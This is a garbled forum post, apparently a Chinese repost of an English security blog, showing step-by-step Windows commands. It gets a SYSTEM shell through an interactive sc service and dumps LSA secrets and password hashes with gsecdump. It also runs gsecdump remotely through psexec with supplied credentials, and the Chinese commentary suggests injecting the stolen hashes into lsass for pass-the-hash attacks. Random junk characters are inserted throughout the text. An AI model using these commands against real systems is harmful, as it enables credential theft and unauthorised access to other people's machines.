o get a DOS Prompt as NT system:6 @6 U% T- C$ J& v+ Z% J! J
- `0 ~3 H) x$ C' G" j
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
S- ^/ J: V& n- D9 q2 S" b" Z1 ][SC] CreateService SUCCESS
- F( J, [4 b5 i: B; b) b
4 V& v2 l' s/ O3 x+ Q$ [C:\>sc start shellcmdline6 l3 V6 h* [% c0 A7 H
[SC] StartService FAILED 1053:& z) q; z2 ?0 M# T0 }* A) ]
; R( ?& Q, t5 `; F( a# ^7 LThe service did not respond to the start or control request in a timely fashion.) ~. Z* J' ^5 I! e* Y/ a0 B) O
. N L$ q9 \- l- i' R- f, Z2 i
C:\>sc delete shellcmdline
; @6 U* f: h" s: \[SC] DeleteService SUCCESS
9 {% J! T% l8 J9 b
# l5 `7 Y' |* Z6 A------------
: ?4 W9 y! G: r. G4 K# G; ?! B: R$ I" W8 e
Then in the new DOS window:
- T, u. I$ I* K* S# `# w
7 H* m( w& k- M% XMicrosoft Windows XP [Version 5.1.2600]
6 d: K$ i' J6 b. G(C) Copyright 1985-2001 Microsoft Corp.
5 w7 J X4 _: D6 j3 p; p- @1 D$ Q- \; J( i
C:\WINDOWS\system32>whoami$ `: h% N+ s1 [; }- ~
NT AUTHORITY\SYSTEM1 v6 B) }+ }! n* E; d
0 C+ X( Z% h6 |( g- D! H5 uC:\WINDOWS\system32>gsecdump -h1 g+ p6 V* f, T' Q
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
: R; c' r1 {* x a2 tusage: gsecdump [options]' w; R+ X* I! o9 U
; Y% I/ @9 }, O" z4 m' [6 [
options:4 b' x0 }6 N8 h* B+ M
-h [ --help ] show help
+ h2 e, H' n2 q; O5 z! L-a [ --dump_all ] dump all secrets1 a N* i% J- z0 Q6 Y& D
-l [ --dump_lsa ] dump lsa secrets' W+ w1 c, ^. o# C9 ?% v4 o
-w [ --dump_wireless ] dump microsoft wireless connections
5 x2 @) ?3 ?2 ^' v' f-u [ --dump_usedhashes ] dump hashes from active logon sessions
- U" j1 ~/ r6 u, x* g! u l/ D-s [ --dump_hashes ] dump hashes from SAM/AD
$ Y, m7 h/ ]1 V2 @
. w- w1 ^2 C" x8 w0 H- TAlthough I like to use:7 k$ C( N5 G% o: D" D
/ N# k: M1 P0 ?; _$ }PsExec v1.83 - Execute processes remotely* k' I( K6 r, {; k) v' u4 d
Copyright (C) 2001-2007 Mark Russinovich
+ x% r) p+ ~( P" ~Sysinternals - 链接标记[url]www.sysinternals.com[/url]* d! `- T0 w' ^/ O" ]
- T8 s6 v6 m! M3 v LC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT9 s5 U% x! `: x. z9 x
+ {; D% i9 i4 `2 [: i
to get the hashes from active logon sessions of a remote system.
5 W& z/ Z% u8 ^3 {: ?4 D; F5 n. G
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.$ E% f2 C4 A: m7 }, j) Q4 Q
8 j6 e G' H5 G提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.3 \. y9 q1 L( g
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
" K1 R; Z9 t# j0 Y3 y) Q
1 [% O+ |* t& R/ y/ X- O我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
) a+ ]$ ^7 c) n) K8 S7 q |